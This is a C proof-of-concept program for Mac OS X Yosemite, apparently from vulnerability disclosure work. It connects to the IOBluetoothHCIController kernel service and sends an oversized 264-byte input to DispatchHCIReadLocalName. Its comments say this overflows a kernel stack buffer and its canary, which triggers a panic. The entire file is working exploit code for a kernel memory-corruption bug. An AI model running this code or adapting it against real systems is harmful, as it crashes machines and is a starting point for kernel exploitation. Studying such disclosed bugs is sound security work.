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/* * crash-issue2.c: Written for Mac OS X Yosemite (10.10) by @rpaleari and @joystick. * * Triggers a panic overwriting a stack_canary. * * gcc -Wall -o crash-issue2{,.c} -framework IOKit * */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <mach/mach.h> #include <mach/vm_map.h> #include <IOKit/IOKitLib.h> struct BluetoothCall { uint64_t args[7]; uint64_t sizes[7]; uint64_t index; }; int main(void) { /* Finding vuln service */ io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOBluetoothHCIController")); if (!service) { return -1; } /* Connect to vuln service */ io_connect_t port = (io_connect_t) 0; kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &port); IOObjectRelease(service); if (kr != kIOReturnSuccess) { return kr; } printf(" [+] Opened connection to service on port: %d\n", port); struct BluetoothCall a; a.sizes[0] = 0x1000; a.args[0] = (uint64_t) calloc(a.sizes[0], sizeof(char)); /* This arguments overflows a local buffer and the adjacent stack canary */ a.sizes[1] = 264; a.args[1] = (uint64_t) calloc(a.sizes[1], sizeof(char)); memset((void *)a.args[1], 'A', a.sizes[1]); /* Call IOBluetoothHCIUserClient::DispatchHCIReadLocalName() */ a.index = 0x2d; /* Debug */ for(int i = 0; i < 120; i++) { if(i % 8 == 0) printf("\n"); printf("\\x%02x", ((unsigned char *)&a)[i]); } printf("\n"); fflush(stdout); kr = IOConnectCallMethod((mach_port_t) port, /* Connection */ (uint32_t) 0, /* Selector */ NULL, 0, /* input, inputCnt */ (const void*) &a, /* inputStruct */ sizeof(a), /* inputStructCnt */ NULL, NULL, NULL, NULL); /* Output stuff */ printf("kr: %08x\n", kr); return IOServiceClose(port); } |
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